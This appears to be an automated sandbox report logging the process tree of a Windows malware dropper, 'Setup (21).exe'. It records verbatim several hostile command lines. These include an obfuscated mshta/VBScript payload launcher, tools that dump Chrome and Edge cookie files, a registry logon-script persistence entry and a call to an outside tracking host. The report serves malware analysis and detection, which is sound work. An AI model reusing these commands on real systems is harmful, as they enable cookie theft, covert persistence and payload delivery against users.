pid Process 4556 Setup (21).exe 4556 Setup (21).exe 2268 PING.EXE 2268 PING.EXE 932 mK91eas6ZpG2H6OEnTEkIEhs.exe 932 mK91eas6ZpG2H6OEnTEkIEhs.exe 2992 WerFault.exe 2992 WerFault.exe 4924 WerFault.exe 4924 WerFault.exe 2596 WerFault.exe 2596 WerFault.exe 1264 WerFault.exe 1264 WerFault.exe 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found 3132 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3132 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 932 mK91eas6ZpG2H6OEnTEkIEhs.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 340 Process not Found Token: SeRestorePrivilege 2268 PING.EXE Token: SeBackupPrivilege 2268 PING.EXE Token: SeDebugPrivilege 1204 taskkill.exe Token: SeDebugPrivilege 720 DVv5SO4L_sDQDWCVZjNJouAe.exe Token: SeDebugPrivilege 3764 1657179.exe Token: SeDebugPrivilege 1888 eytG8i8T6vUNkCMrUJBgRTLz.exe Token: SeDebugPrivilege 1152 6TCPlW6obErU_523SPKyBspe.exe Token: SeDebugPrivilege 804 omVWevG66f6Yrz2zcwZRls_y.exe Token: SeDebugPrivilege 3872 SI6MXJftBPoVGyAIx1oY8Li7.exe Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeDebugPrivilege 1376 msiexec.exe Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeShutdownPrivilege 3132 Process not Found Token: SeCreatePagefilePrivilege 3132 Process not Found Token: SeCreateTokenPrivilege 5172 askinstall53.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 3256 C8D8_vHly4HkEFF51pYSfL9s.tmp 1372 Inlog.tmp 5592 Process not Found 6120 VPN.tmp 3704 WEATHER Manager.tmp 3752 Setup.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4556 wrote to memory of 1212 4556 Setup (21).exe 88 PID 4556 wrote to memory of 1212 4556 Setup (21).exe 88 PID 4556 wrote to memory of 1212 4556 Setup (21).exe 88 PID 4556 wrote to memory of 804 4556 Setup (21).exe 98 PID 4556 wrote to memory of 804 4556 Setup (21).exe 98 PID 4556 wrote to memory of 804 4556 Setup (21).exe 98 PID 4556 wrote to memory of 400 4556 Setup (21).exe 97 PID 4556 wrote to memory of 400 4556 Setup (21).exe 97 PID 4556 wrote to memory of 400 4556 Setup (21).exe 97 PID 4556 wrote to memory of 1376 4556 Setup (21).exe 89 PID 4556 wrote to memory of 1376 4556 Setup (21).exe 89 PID 4556 wrote to memory of 1376 4556 Setup (21).exe 89 PID 4556 wrote to memory of 1328 4556 Setup (21).exe 90 PID 4556 wrote to memory of 1328 4556 Setup (21).exe 90 PID 4556 wrote to memory of 1328 4556 Setup (21).exe 90 PID 4556 wrote to memory of 1152 4556 Setup (21).exe 92 PID 4556 wrote to memory of 1152 4556 Setup (21).exe 92 PID 4556 wrote to memory of 1152 4556 Setup (21).exe 92 PID 4556 wrote to memory of 340 4556 Setup (21).exe 95 PID 4556 wrote to memory of 340 4556 Setup (21).exe 95 PID 4556 wrote to memory of 968 4556 Setup (21).exe 96 PID 4556 wrote to memory of 968 4556 Setup (21).exe 96 PID 4556 wrote to memory of 968 4556 Setup (21).exe 96 PID 4556 wrote to memory of 1252 4556 Setup (21).exe 91 PID 4556 wrote to memory of 1252 4556 Setup (21).exe 91 PID 4556 wrote to memory of 1252 4556 Setup (21).exe 91 PID 4556 wrote to memory of 1132 4556 Setup (21).exe 93 PID 4556 wrote to memory of 1132 4556 Setup (21).exe 93 PID 4556 wrote to memory of 1132 4556 Setup (21).exe 93 PID 4556 wrote to memory of 724 4556 Setup (21).exe 94 PID 4556 wrote to memory of 724 4556 Setup (21).exe 94 PID 4556 wrote to memory of 724 4556 Setup (21).exe 94 PID 4556 wrote to memory of 1824 4556 Setup (21).exe 101 PID 4556 wrote to memory of 1824 4556 Setup (21).exe 101 PID 4556 wrote to memory of 1824 4556 Setup (21).exe 101 PID 4556 wrote to memory of 1888 4556 Setup (21).exe 103 PID 4556 wrote to memory of 1888 4556 Setup (21).exe 103 PID 4556 wrote to memory of 1888 4556 Setup (21).exe 103 PID 4556 wrote to memory of 1856 4556 Setup (21).exe 102 PID 4556 wrote to memory of 1856 4556 Setup (21).exe 102 PID 4556 wrote to memory of 1856 4556 Setup (21).exe 102 PID 4556 wrote to memory of 1976 4556 Setup (21).exe 111 PID 4556 wrote to memory of 1976 4556 Setup (21).exe 111 PID 4556 wrote to memory of 1976 4556 Setup (21).exe 111 PID 4556 wrote to memory of 1852 4556 Setup (21).exe 100 PID 4556 wrote to memory of 1852 4556 Setup (21).exe 100 PID 4556 wrote to memory of 1852 4556 Setup (21).exe 100 PID 4556 wrote to memory of 4364 4556 Setup (21).exe 105 PID 4556 wrote to memory of 4364 4556 Setup (21).exe 105 PID 4556 wrote to memory of 4364 4556 Setup (21).exe 105 PID 1212 wrote to memory of 1148 1212 Lfm_XS_Nn3jlKidcRPH5om2l.exe 112 PID 1212 wrote to memory of 1148 1212 Lfm_XS_Nn3jlKidcRPH5om2l.exe 112 PID 1212 wrote to memory of 1148 1212 Lfm_XS_Nn3jlKidcRPH5om2l.exe 112 PID 4556 wrote to memory of 5056 4556 Setup (21).exe 113 PID 4556 wrote to memory of 5056 4556 Setup (21).exe 113 PID 4556 wrote to memory of 5056 4556 Setup (21).exe 113 PID 1148 wrote to memory of 2668 1148 mshta.exe 204 PID 1148 wrote to memory of 2668 1148 mshta.exe 204 PID 1148 wrote to memory of 2668 1148 mshta.exe 204 PID 5056 wrote to memory of 3256 5056 C8D8_vHly4HkEFF51pYSfL9s.exe 144 PID 5056 wrote to memory of 3256 5056 C8D8_vHly4HkEFF51pYSfL9s.exe 144 PID 5056 wrote to memory of 3256 5056 C8D8_vHly4HkEFF51pYSfL9s.exe 144 PID 1856 wrote to memory of 1720 1856 MiQZYqowRAMIYP8jxYLEbvAu.exe 143 PID 1856 wrote to memory of 1720 1856 MiQZYqowRAMIYP8jxYLEbvAu.exe 143
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (21).exe"C:\Users\Admin\AppData\Local\Temp\Setup (21).exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Users\Admin\Documents\Lfm_XS_Nn3jlKidcRPH5om2l.exe"C:\Users\Admin\Documents\Lfm_XS_Nn3jlKidcRPH5om2l.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\Documents\Lfm_XS_Nn3jlKidcRPH5om2l.exe"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF """" == """" for %A In (""C:\Users\Admin\Documents\Lfm_XS_Nn3jlKidcRPH5om2l.exe"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )3⤵
- Suspicious use of WriteProcessMemory
PID:1148 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\Documents\Lfm_XS_Nn3jlKidcRPH5om2l.exe" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "" =="" for %A In ("C:\Users\Admin\Documents\Lfm_XS_Nn3jlKidcRPH5om2l.exe" ) do taskkill -f -iM "%~NxA"4⤵PID:2668
-
-
-
-
C:\Users\Admin\Documents\sOagukUAKBLop2GbpRVv8DN_.exe"C:\Users\Admin\Documents\sOagukUAKBLop2GbpRVv8DN_.exe"2⤵
- Executes dropped EXE
PID:1376
-
-
C:\Users\Admin\Documents\SI6MXJftBPoVGyAIx1oY8Li7.exe"C:\Users\Admin\Documents\SI6MXJftBPoVGyAIx1oY8Li7.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1328 -
C:\Users\Admin\Documents\SI6MXJftBPoVGyAIx1oY8Li7.exeC:\Users\Admin\Documents\SI6MXJftBPoVGyAIx1oY8Li7.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3872
-
-
-
C:\Users\Admin\Documents\C2PuAYP3Y_ROij0qgC6EQFZR.exe"C:\Users\Admin\Documents\C2PuAYP3Y_ROij0qgC6EQFZR.exe"2⤵
- Executes dropped EXE
PID:1252 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1252 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4924
-
-
-
C:\Users\Admin\Documents\6TCPlW6obErU_523SPKyBspe.exe"C:\Users\Admin\Documents\6TCPlW6obErU_523SPKyBspe.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1152
-
-
C:\Users\Admin\Documents\mK91eas6ZpG2H6OEnTEkIEhs.exe"C:\Users\Admin\Documents\mK91eas6ZpG2H6OEnTEkIEhs.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1132 -
C:\Users\Admin\Documents\mK91eas6ZpG2H6OEnTEkIEhs.exe"C:\Users\Admin\Documents\mK91eas6ZpG2H6OEnTEkIEhs.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:932
-
-
-
C:\Users\Admin\Documents\qf1y67VXto4vX0COmo1ulm4A.exe"C:\Users\Admin\Documents\qf1y67VXto4vX0COmo1ulm4A.exe"2⤵
- Executes dropped EXE
PID:724
-
-
C:\Users\Admin\Documents\tvXgMm_h8qulvW5cMhAbVvvv.exe"C:\Users\Admin\Documents\tvXgMm_h8qulvW5cMhAbVvvv.exe"2⤵
- Executes dropped EXE
PID:340 -
C:\Users\Admin\AppData\Roaming\4039867.exe"C:\Users\Admin\AppData\Roaming\4039867.exe"3⤵
- Executes dropped EXE
PID:4384 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4384 -s 24444⤵
- Program crash
PID:5700
-
-
-
C:\Users\Admin\AppData\Roaming\8244433.exe"C:\Users\Admin\AppData\Roaming\8244433.exe"3⤵
- Executes dropped EXE
PID:1076
-
-
C:\Users\Admin\AppData\Roaming\3140662.exe"C:\Users\Admin\AppData\Roaming\3140662.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:3144 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
- Executes dropped EXE
PID:6024
-
-
-
C:\Users\Admin\AppData\Roaming\1657179.exe"C:\Users\Admin\AppData\Roaming\1657179.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3764 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3764 -s 23204⤵
- Program crash
PID:5968
-
-
-
-
C:\Users\Admin\Documents\bP8AgyXE2mPYnnAaQYY6yRnz.exe"C:\Users\Admin\Documents\bP8AgyXE2mPYnnAaQYY6yRnz.exe"2⤵
- Executes dropped EXE
PID:968
-
-
C:\Users\Admin\Documents\P4UU0RNW25TMcHlO5xsLFOv6.exe"C:\Users\Admin\Documents\P4UU0RNW25TMcHlO5xsLFOv6.exe"2⤵
- Executes dropped EXE
PID:400 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 2803⤵
- Program crash
PID:3268
-
-
-
C:\Users\Admin\Documents\omVWevG66f6Yrz2zcwZRls_y.exe"C:\Users\Admin\Documents\omVWevG66f6Yrz2zcwZRls_y.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:804
-
-
C:\Users\Admin\Documents\ZKcZNQ7PhJCE9DbUMxKNj4ig.exe"C:\Users\Admin\Documents\ZKcZNQ7PhJCE9DbUMxKNj4ig.exe"2⤵
- Executes dropped EXE
PID:1852 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1852 -s 2363⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2596
-
-
-
C:\Users\Admin\Documents\q8dM0M60N9jtSV2Z6HoHhqHG.exe"C:\Users\Admin\Documents\q8dM0M60N9jtSV2Z6HoHhqHG.exe"2⤵
- Executes dropped EXE
PID:1824 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1824 -s 2963⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2992
-
-
-
C:\Users\Admin\Documents\MiQZYqowRAMIYP8jxYLEbvAu.exe"C:\Users\Admin\Documents\MiQZYqowRAMIYP8jxYLEbvAu.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
PID:3536
-
-
C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"3⤵
- Executes dropped EXE
PID:3152 -
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
PID:3548
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:5552
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
PID:5584
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:5400
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:7344
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:7048
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:5408
-
-
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"3⤵
- Executes dropped EXE
PID:1720 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
PID:5340
-
-
-
-
C:\Users\Admin\Documents\eytG8i8T6vUNkCMrUJBgRTLz.exe"C:\Users\Admin\Documents\eytG8i8T6vUNkCMrUJBgRTLz.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1888
-
-
C:\Users\Admin\Documents\DVv5SO4L_sDQDWCVZjNJouAe.exe"C:\Users\Admin\Documents\DVv5SO4L_sDQDWCVZjNJouAe.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4364 -
C:\Users\Admin\Documents\DVv5SO4L_sDQDWCVZjNJouAe.exeC:\Users\Admin\Documents\DVv5SO4L_sDQDWCVZjNJouAe.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:720
-
-
-
C:\Users\Admin\Documents\Z0BJ8gjwAyTU6ckPz2kgxIC_.exe"C:\Users\Admin\Documents\Z0BJ8gjwAyTU6ckPz2kgxIC_.exe"2⤵
- Executes dropped EXE
PID:1976 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1976 -s 3163⤵
- Program crash
PID:2268
-
-
-
C:\Users\Admin\Documents\C8D8_vHly4HkEFF51pYSfL9s.exe"C:\Users\Admin\Documents\C8D8_vHly4HkEFF51pYSfL9s.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Users\Admin\AppData\Local\Temp\is-QAQ7E.tmp\C8D8_vHly4HkEFF51pYSfL9s.tmp"C:\Users\Admin\AppData\Local\Temp\is-QAQ7E.tmp\C8D8_vHly4HkEFF51pYSfL9s.tmp" /SL5="$102A8,138429,56832,C:\Users\Admin\Documents\C8D8_vHly4HkEFF51pYSfL9s.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:3256
-
-
-
C:\Users\Admin\Documents\1R9krKXteBHdwO53jPvIGhg3.exe"C:\Users\Admin\Documents\1R9krKXteBHdwO53jPvIGhg3.exe"2⤵
- Executes dropped EXE
PID:1164 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1164 -s 2963⤵
- Program crash
PID:5804
-
-
-
C:\Users\Admin\Documents\Rv8L8q7o17okugKCIPXgX4CJ.exe"C:\Users\Admin\Documents\Rv8L8q7o17okugKCIPXgX4CJ.exe"2⤵
- Executes dropped EXE
PID:4952 -
C:\Users\Admin\Documents\Rv8L8q7o17okugKCIPXgX4CJ.exe"C:\Users\Admin\Documents\Rv8L8q7o17okugKCIPXgX4CJ.exe" -q3⤵PID:2996
-
-
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv XiYLFyz/ukG0TJ0Dbht07Q.0.21⤵
- Modifies data under HKEY_USERS
PID:4028
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
PID:4568
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4020
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1976 -ip 19761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1284
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt1⤵
- Executes dropped EXE
PID:4772
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "Lfm_XS_Nn3jlKidcRPH5om2l.exe"1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1204
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF ""-p3auHHA5Pn7qj14hc1xRG9TH8FS "" == """" for %A In (""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )1⤵PID:3924
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "-p3auHHA5Pn7qj14hc1xRG9TH8FS " =="" for %A In ("C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" ) do taskkill -f -iM "%~NxA"2⤵PID:2728
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1824 -ip 18241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3492
-
C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe"C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe"1⤵
- Executes dropped EXE
PID:132 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 132 -s 3002⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1264
-
-
C:\Users\Admin\AppData\Local\Temp\is-P3KFN.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-P3KFN.tmp\Setup.exe" /Verysilent1⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:432 -
C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe"C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent2⤵
- Executes dropped EXE
PID:4300 -
C:\Users\Admin\AppData\Local\Temp\is-29AM5.tmp\Inlog.tmp"C:\Users\Admin\AppData\Local\Temp\is-29AM5.tmp\Inlog.tmp" /SL5="$302F2,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:1372 -
C:\Users\Admin\AppData\Local\Temp\is-J5B2Q.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-J5B2Q.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7214⤵PID:5916
-
C:\Users\Admin\AppData\Local\Temp\is-A3E6V.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-A3E6V.tmp\Setup.tmp" /SL5="$20382,17367866,721408,C:\Users\Admin\AppData\Local\Temp\is-J5B2Q.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7215⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:3752 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-HU3BR.tmp\{app}\microsoft.cab -F:* %ProgramData%6⤵PID:992
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-HU3BR.tmp\{app}\microsoft.cab -F:* C:\ProgramData7⤵PID:2184
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f6⤵PID:5424
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f7⤵PID:1600
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://trecker33442aq.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^¶m=7216⤵PID:6136
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://trecker33442aq.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq&cid=74449¶m=7217⤵PID:3076
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0x100,0x110,0x7ffb4df946f8,0x7ffb4df94708,0x7ffb4df947188⤵PID:2096
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,14897564935101958562,16284362361094040685,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:28⤵PID:6640
-
-
